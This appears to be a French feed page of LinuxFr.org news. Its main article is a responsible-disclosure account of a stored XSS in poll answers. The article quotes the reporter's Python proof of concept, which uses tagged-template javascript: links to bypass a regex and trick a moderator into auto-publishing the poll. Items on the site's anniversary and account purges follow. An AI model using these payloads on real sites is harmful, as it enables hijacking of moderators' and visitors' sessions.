Vue lecture

XSS sur le site linuxfr.org (pas très grave à mon avis)

Ce titre est celui d’un courriel reçu le samedi 20 juin 2026 en fin de soirée. La France est alors au milieu de sa deuxième canicule de l’année, et moi en train de produire la dépêche De la fermeture des comptes inactifs depuis 3 ans que je pensais initialement en avance et qui était finalement en retard.

Et donc recevoir un tel message n’annonçait rien de bien rafraîchissant. (Même si ça changeait des week-ends successifs d’annonces de failles de sécurité noyau à déployer plus ou moins en urgence)

Pourtant il s’agissait du signalement d’une faille réelle, fait de façon détaillée, claire et pédagogique. Ça change du bruit de fond habituel sur Internet avec son lot de tentatives diverses et variées d’injections chimériques mi-SQL mi-Javascript mi-PHP, et ses fameux audits de sécurité non-sollicités et délicieusement bourrins. Grand merci donc à 0xMitsurugi H pour avoir explicité le problème.

Sommaire

Le signalement

L’explication

(avec l’autorisation de l’auteur «  mon code et le rapport sont open source »)

Bonjour,

J’ai lu le code source de linuxfr.org et je me suis intéressé aux sondages.
J’ai l’impression que certains échappements HTML ne fonctionnent pas très bien.

Il est possible de bypasser la regexp dans les réponses du sondage et
injecter du javascript dans les réponses.

En soi, ce ne serait pas grave, car un sondage doit être validé par un admin
pour que les utilisateurs le voient.

L’astuce ici consiste à utiliser une réponse avec du js qui fera valider
automatiquement le sondage par un admin, et mettre un second javascript
dans une autre réponse destiné aux utilisateurs, une fois le sondage
validé, permettant la compromission de tous les utilisateurs qui vont
cliquer sur le sondage.

Voici le poc en python (inliné dans le mail car google fait des dingueries
avec les pièces jointes en python):
#!/usr/bin/env python3
r"""
PoC — XSS stockee via linkify dans les reponses de sondage linuxfr.org

Vecteur : href="javascript:..." active au clic
Bypass regex : tagged template ` func`arg` ` au lieu de func('arg')
  - document.querySelector`.ok_button`  au lieu de
document.querySelector('.ok_button')
  - form.submit``                      au lieu de form.submit()
  - alert`msg`                         au lieu de alert('msg')
  Aucune parenthese `)` n'apparait dans l'URL markdown, donc la regex
  \[([^\]]*)\]\(([^)]*)\) ne peut rien manger.

Contrainte : 128 caracteres max (PollAnswer)
  Phase 1 : 64 car. (form.submit pour auto-publication)
  Phase 2 : 54 car. (alert de preuve)

Deroulement :
  1. Attaquant cree un sondage avec les payloads XSS
  2. Moderateuur visite /moderation/sondages/ID et clique sur [a]
  3. La publication se fait sans boite de confirmation
  4. Les visiteurs cliquent sur [b] -> alerte JavaScript

Usage :
  python3 poc.py <url> <user_session>

  <url>            : racine du site (ex: http://dlfp.lo)
  <user_session>   : valeur du cookie linuxfr.org_session (compte standard)

Exemple :
  python3 poc.py http://dlfp.lo "user_session_value"

Prerequis :
  pip install requests
"""

import re
import sys
from urllib.parse import urljoin, urlparse

import requests


def e(msg: str, code: int = 1) -> None:
    print(f"[-] {msg}")
    sys.exit(code)


def s(msg: str) -> None:
    print(f"[+] {msg}")


def info(msg: str) -> None:
    print(f"[*] {msg}")


def banner() -> None:
    print("=" * 68)
    print("  PoC — XSS linkify -> Auto-validation + XSS proof")
    print("  Vecteur : tagged templates dans href (pas de ) necessaire)")
    print("  Cible : linuxfr.org")
    print("=" * 68)


def make_session(cookie_value: str, target_url: str) -> requests.Session:
    s = requests.Session()
    hostname = urlparse(target_url).hostname
    s.cookies.set("linuxfr.org_session", cookie_value, domain=hostname)
    return s


def create_poll(url: str, session: requests.Session,) -> tuple[str, str]:
    """
    Cree un sondage avec les reponses malveillantes.
    """

    # Réponse 1 : 64 car. — form.submit() via tagged template
    # document.querySelector`.ok_button`   => querySelector('.ok_button')
    # form.submit``                        => form.submit()
    payload_phase1 = (
        "[a]"
        "(javascript:document.querySelector"
        "`.ok_button`.form.submit``)"
    )

    # Réponse 2 : 54 car. — alert via tagged template
    payload_phase2 = (
        "[b]"
        "(javascript:alert"
        "`smile this is your favorite XSS`)"
    )

    info("Chargement du formulaire de creation...")
    r = session.get(urljoin(url, "/sondages/nouveau"))
    csrf = re.search(
        r'name="authenticity_token" value="([^"]*)"', r.text
    )
    csrf = csrf.group(1)

    info("Creation du sondage malveillant...")
    r = session.post(urljoin(url, "/sondages"), data={
        "authenticity_token": csrf,
        "poll[title]": "PoC XSS — tagged template",
        "poll[wiki_explanations]": (
            "Cliquez sur les liens ci-dessous !"
        ),
        "poll[cc_licensed]": "1",
        "poll[answers_attributes][0][answer]": payload_phase1,
        "poll[answers_attributes][1][answer]": payload_phase2,
    })

    if r.status_code not in (200, 302):
        e(f"Creation echouee (HTTP {r.status_code})")

    print("Connectez vous en tant qu'admin et cliquez sur la réponse A")


def main():
    banner()

    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <url> <user_session>")
        print()
        print("Exemple :")
        print(f'  {sys.argv[0]} http://dlfp.lo "SESSION_USER"')
        sys.exit(1)

    target_url = sys.argv[1].rstrip("/")
    user_session_val = sys.argv[2]

    user_session = make_session(user_session_val, target_url)

    # Creation du sondage malveillant
    print()
    info("Creation du sondage avec payloads XSS")
    create_poll(target_url, user_session)


if __name__ == "__main__":
    main()
Et je joins les copies d’écran dans l’ordre :-)

C’était sympa à trigger, je ne pensais pas arriver à quelque chose avec
l’autovalidation de l’admin pour publier le sondage. Bon, il faut quand
même l’interaction d’un admin (d’où le fait que ce n’est pas très grave),
j’ai essayé des trucs à base de onmouseover, mais je n’arrive à rien de
bien ce soir, il fait trop chaud.

Merci de gérer et maintenir le site linuxfr, j’ai appris beaucoup de choses
en le lisant, même si je ne suis qu’un simple lecteur :-)
Merci de fournir le code source sur github, ça m’a permis de debug en live
mes tests.

Bonne soirée

Et paf le PoC !

Les cinq images étaient en pièces jointes du signalement.

La démonstration à l’œuvre :

La démonstration à l’œuvre

En admin, le nouveau sondage dans la page des sondages :

Le nouveau sondage dans la page des sondages

En admin, cliquer sur un choix autovalide le sondage :

Cliquer sur un choix permet autovalide le sondage

Et sur le sondage publié, un clic d’un compte utilisateur :

Et sur le sondage publié, un clic

Paf la faille :

Paf la faille

Un peu de contexte

La faille signalée concerne le type de contenu sondages du site LinuxFr.org : un sondage est une question sur un thème donné ; le lectorat du site LinuxFr.org peut choisir parmi un ensemble de réponses proposées. (aide)

Une personne ayant un compte sur le site peut proposer un sondage (aide). Sa publication nécessite une approbation par l’équipe de modération (aide).

Un sondage est composé d’une partie question en Markdown. Et de (en général) plusieurs réponses dans un format exotique : c’est du texte brut, pas de mises en forme en italique/gras ou autre, sauf que les liens au format Markdown [oh un lien](https://une.adresse.invalid) sont possibles, depuis 2012. Ce code pour gérer du supposé texte brut mais acceptant des hyperliens Markdown, avec une expression rationnelle pour gérer, forcément ça annonçait un hypothétique problème à venir.

« Le cross-site scripting (abrégé XSS) est un type de faille de sécurité des sites web permettant d'injecter du contenu dans une page, provoquant ainsi des actions sur les navigateurs web visitant la page. » (Wikipedia) : ici on va glisser un sondage malveillant dans la base de données LinuxFr.org, une personne modératrice va aller le lire et déclencher involontairement la publication, qui devient alors visible par tout le monde, et chaque personne qui ira voter sur le sondage va déclencher un comportement non désiré. Bon en pratique, à ce moment là, ladite personne modératrice se rendrait alors compte du problème et dépublierait le sondage en catastrophe. Potentiellement trop tard pour quelques personnes du lectorat avides de sondages.

Une vraie faille

Bon si ça se trouve, la faille ne fonctionne pas, c’est facile de tester et de voir si on reproduit. Bon on reproduit…

En analysant le code et en testant, on voit qu’il y a plusieurs soucis :

  • on peut insérer en base de données des choses que l’on ne voudrait pas y voir ;
  • on peut afficher ce qu’on a trouvé en base en filtrant mal.

Donc on va ajouter un filtrage à la création sur les hyperliens pour ne laisser passer que les protocoles autorisés et que des adresses qui ressemblent à des adresses.

Et on va ajouter un filtrage à l’affichage / conversion en HTML pour n’afficher que des hyperliens, dans les protocoles autorisés et avec une adresse qui ressemble à une adresse.

Évidemment il y a la contrainte de ne pas casser le fonctionnel et les sondages déjà présents en base de données.

Donc on fait plein de tests un peu cracra :

tests un peu cracra

Et on produit un commit de correction (si tout va bien).

On a aussi vérifié le contenu existant de la base, au cas où.

Il ne restait plus qu’à remercier le contributeur et à convenir d’une publication en dépêche. Que voici.

Conclusion

Une contribution par une personne qui a lu le code source, qui a déployé le site, qui a écrit un bout de code pour illustrer l’exploitation de la faille de bout-en-bout, qui a littéralement illustré l’exploitation avec cinq images et qui a accompagné le tout d’une explication détaillée et en fournissant le code. Que demander de plus ? Encore merci.

Ah oui il faut une ouverture finale et tenir en haleine le lectorat : cette dépêche n'évoque pas la dernière faille signalée (ni même l'avant-dernière), et on n'est que douze jours après.

Commentaires : voir le flux Atom ouvrir dans le navigateur

  •  

Vingt-huit ans de LinuxFr.org

Ce 28 juin 2026, le site LinuxFr.org fête ses vingt‑huit ans. Il fût lancé au millénaire dernier, en 1998, et depuis une équipe de bénévoles code et gère ce site, permettant à son lectorat de publier contenus et commentaires sur le logiciel libre, sur les nombreux autres domaines du Libre comme la culture, la cartographie, le matériel ou les manuels scolaires ; mais aussi bien d’autres thématiques comme la robotique, la cuisine, la typographie, TapTempo, la vie et la mort, ou la sérendipité, l’intelligence artificielle et la fIAtigue, la législation.

Mème : en haut, Sophie n'aime pas « Web obèse, gavé de pubs, pisteurs et partenaires intéressés par votre vie privée, attrape-clics et interfaces trompeuses » ; en bas, Sophie aime « Sans pub, NFT, pisteur, bandeau cookies. Par et pour notre lectorat, libre et ouvert, respectueux de votre vie privée. ».

    En vrac, LinuxFr.org c’est aussi :

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    •  

    De la fermeture des comptes inactifs depuis 3 ans

    En février 2023, nous avions décrit « les données à caractère personnel traitées, qu’elles soient ou non associées à un compte, le cycle de vie de ses données et le changement de politique concernant ce cycle de vie. » La règle a été mise en place au 28 juin 2023 (la date de dernière activité du compte ayant été mise en place au 31 mai 2023) :

    • les comptes inactifs pendant trois ans sont fermés et les données conservées inutiles au service supprimées ;
    • les comptes fermés depuis plus d’un an voient les données associées inutiles au service supprimées (cf dépêche d'évaluation 1 an après en 2024)

    Depuis trois ans, les comptes fermés (par la personne détenant le compte ou par l’équipe de modération sur les spams par exemple) voient donc leurs données minimisées. La nouveauté cette année était la fermeture des comptes inactifs depuis trois ans.

      Quelques chiffres pour donner une idée de l’évolution des comptes

      • un an, c’est 961 comptes ouverts (et 286 fermés depuis), entre le 01 octobre 2024 et le 30 septembre 2025 (basées sur les rétrospectives des quinzaines)
      • un an, c’est aussi 1607 tentatives de création de comptes, sur la même période (basé sur les identifiants en base de données), dont beaucoup ne sont visiblement jamais confirmés et donc jamais réellement ouverts (spam, erreur d’adresse, erreur sur le pseudo voulu, etc.)

      Application de la règle des 3 ans d’inactivité

      Regardons les statistiques conservées par archive.org du 11 avril dernier, soit avant l’échéance des trois ans d’inactivité du 31 mai dernier :

      • 53599 utilisatrices et utilisateurs ayant ou ayant eu des comptes (et encore présents en base de données)
      • 33150 comptes
      • 1384 comptes fermés

      Et comparons avec les statistiques au moment de l’écriture de la dépêche, en base de données on trouve :

      • 38847 utilisatrices et utilisateurs ayant ou ayant eu des comptes (et encore présents en base de données)
      • 18397 comptes
      • 12380 comptes fermés

      Il y a donc eu purge de plus de 14500 comptes et fermeture de plus de 10000 comptes au 31 mai 2026.

      Pourquoi certains comptes sont purgés ? Car ils n’avaient aucun contenu public ou commentaire public ou contribution à des contenus publics. Il peut s’agir de personnes n’ayant jamais rien eu à dire sur le site, de spammeurs n’ayant jamais réussi à publier quoi que soit, etc. La volumétrie est aussi due au stock puisque le traitement s’est appliqué à tous les comptes concernés depuis 1999 (année du plus vieux compte en base de données).

      Pourquoi certains comptes sont fermés ? Parce qu’ils restent associés un ou plusieurs contenus ou commentaires ou contributions publics. Les cas peuvent être multiples : la personne est décédée, la personne est passée à autre chose, la personne avait juste besoin de poser une question à un moment et n’est donc pas restée, la personne est depuis 3 ans en prison ou en orbite ou dans un sous-marin ou tout autre endroit hors-ligne, etc.

      Conséquences techniques ?

      Va-t-on réutiliser les identifiants libérés dans la base de données de comptes ? Il n’y a pas vraiment d’intérêt à le faire.

      A-t-on gagné sur le volume des sauvegardes ? La table des versions de dépêches pèse ~9 GiB pour ~430000 tuples, celle des commentaires ~3 GiB pour 2M de commentaires. La table des comptes n’est que la 11e plus volumineuse en base, avec 18 MiB. Donc non on ne gagne rien de significatif. Probablement moins que si on supprimait dès maintenant les encore présents en base 700 contenus non publics et 21900 commentaires non publics.

      Est-ce que tout le site va aller plus vite ? Non, ça ne va pas être perceptible sur les requêtes SQL.

      Quel serait le cas le plus favorable en termes de réduction des données ? L’anonymisation du compte et de tout ce qui est associé : cela supprime un compte bien sûr, mais ça permettait en théorie de fusionner des éditions de dépêches par exemple : si Anonyme, seul compte contributeur, a 82 éditions d’une même dépêche, alors des années après, on peut sans doute se contenter de ne garder que la première et la dernière édition par exemple (pour préserver dates et attribution). Et même si Anonyme a seulement les éditions 53 à 57 d’une dépêche, on pourrait faire de même sur cette partie contiguë.

      Aide sur le sujet

      P.S. : cette dépêche sera ma 500e dépêche publiée

      Commentaires : voir le flux Atom ouvrir dans le navigateur

      •  
      ❌